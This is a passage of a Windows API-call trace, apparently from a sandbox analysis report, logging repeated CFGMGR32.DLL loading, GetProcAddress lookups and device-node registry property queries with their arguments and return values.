GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.332] malloc (_Size=0x18) returned 0x20abc281ea0 [0207.333] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0207.333] malloc (_Size=0x124) returned 0x20abc286890 [0207.333] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0207.334] free (_Block=0x20abc286890) [0207.334] malloc (_Size=0x48) returned 0x20abc27cb20 [0207.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3759b656, dwHighDateTime=0x1d9eb0c)) [0207.335] SetEvent (hEvent=0x248) returned 1 [0207.338] malloc (_Size=0x18) returned 0x20abc2820e0 [0207.338] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0207.338] free (_Block=0x20abc2820e0) [0207.338] malloc (_Size=0x18) returned 0x20abc281dc0 [0207.338] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0207.338] free (_Block=0x20abc281dc0) [0207.338] malloc (_Size=0x18) returned 0x20abc281c00 [0207.338] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0207.338] free (_Block=0x20abc281c00) [0207.338] malloc (_Size=0x18) returned 0x20abc281f00 [0207.339] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0207.339] free (_Block=0x20abc281f00) [0207.339] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0207.339] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0207.339] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0207.339] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0207.339] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a30 [0207.339] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0207.339] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0207.339] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0207.339] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0207.340] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.340] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.340] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.340] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba799e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.341] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a30) returned 1 [0207.341] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0207.342] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.342] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.346] malloc (_Size=0x18) returned 0x20abc281dc0 [0207.346] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0207.347] malloc (_Size=0x10e) returned 0x20abc286890 [0207.347] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0207.348] free (_Block=0x20abc286890) [0207.348] malloc (_Size=0x48) returned 0x20abc2a8190 [0207.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3759b656, dwHighDateTime=0x1d9eb0c)) [0207.348] SetEvent (hEvent=0x248) returned 1 [0207.579] malloc (_Size=0x18) returned 0x20abc281aa0 [0207.579] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0207.579] free (_Block=0x20abc281aa0) [0207.579] malloc (_Size=0x18) returned 0x20abc281ba0 [0207.579] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0207.579] free (_Block=0x20abc281ba0) [0207.579] malloc (_Size=0x18) returned 0x20abc281ee0 [0207.579] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0207.579] free (_Block=0x20abc281ee0) [0207.579] malloc (_Size=0x18) returned 0x20abc281960 [0207.579] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0207.579] free (_Block=0x20abc281960) [0207.579] malloc (_Size=0x18) returned 0x20abc281aa0 [0207.579] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0207.580] free (_Block=0x20abc281aa0) [0207.580] malloc (_Size=0x18) returned 0x20abc281ae0 [0207.580] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0207.580] free (_Block=0x20abc281ae0) [0207.580] malloc (_Size=0x18) returned 0x20abc281c80 [0207.580] SafeArrayPutElement (psa=0x20abba7ff50, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0207.580] free (_Block=0x20abc281c80) [0207.580] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0207.580] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0207.580] SafeArrayGetLBound (in: psa=0x20abba7ff50, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0207.580] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0207.580] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0207.580] SafeArrayGetDim (psa=0x20abba7ff50) returned 0x1 [0207.580] SafeArrayGetUBound (in: psa=0x20abba7ff50, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0207.580] SafeArrayGetElemsize (psa=0x20abba7ff50) returned 0x8 [0207.581] SafeArrayGetElement (in: psa=0x20abba7ff50, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0207.581] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.581] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80748, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.581] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80750, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.582] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80758, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.582] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80760, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.582] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80768, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.582] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba80770, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0207.583] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0207.583] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0207.584] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.584] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.585] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.588] malloc (_Size=0x18) returned 0x20abc281cc0 [0207.588] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.592] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x377fc531, dwHighDateTime=0x1d9eb0c)) [0207.593] SetEvent (hEvent=0x248) returned 1 [0207.597] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.601] malloc (_Size=0x18) returned 0x20abc281ac0 [0207.601] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.601] malloc (_Size=0x48) returned 0x20abc27cb20 [0207.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37822c79, dwHighDateTime=0x1d9eb0c)) [0207.602] SetEvent (hEvent=0x248) returned 1 [0207.606] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.606] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.608] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.609] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.609] malloc (_Size=0x18) returned 0x20abc281a00 [0207.609] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.610] malloc (_Size=0x48) returned 0x20abc27cb20 [0207.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37822c79, dwHighDateTime=0x1d9eb0c)) [0207.610] SetEvent (hEvent=0x248) returned 1 [0207.614] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.614] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.617] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.618] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.618] malloc (_Size=0x18) returned 0x20abc281ea0 [0207.618] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.619] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37848d59, dwHighDateTime=0x1d9eb0c)) [0207.619] SetEvent (hEvent=0x248) returned 1 [0207.827] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.827] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.828] GetProcAddress (hModule=0x7ffb1ced0000, 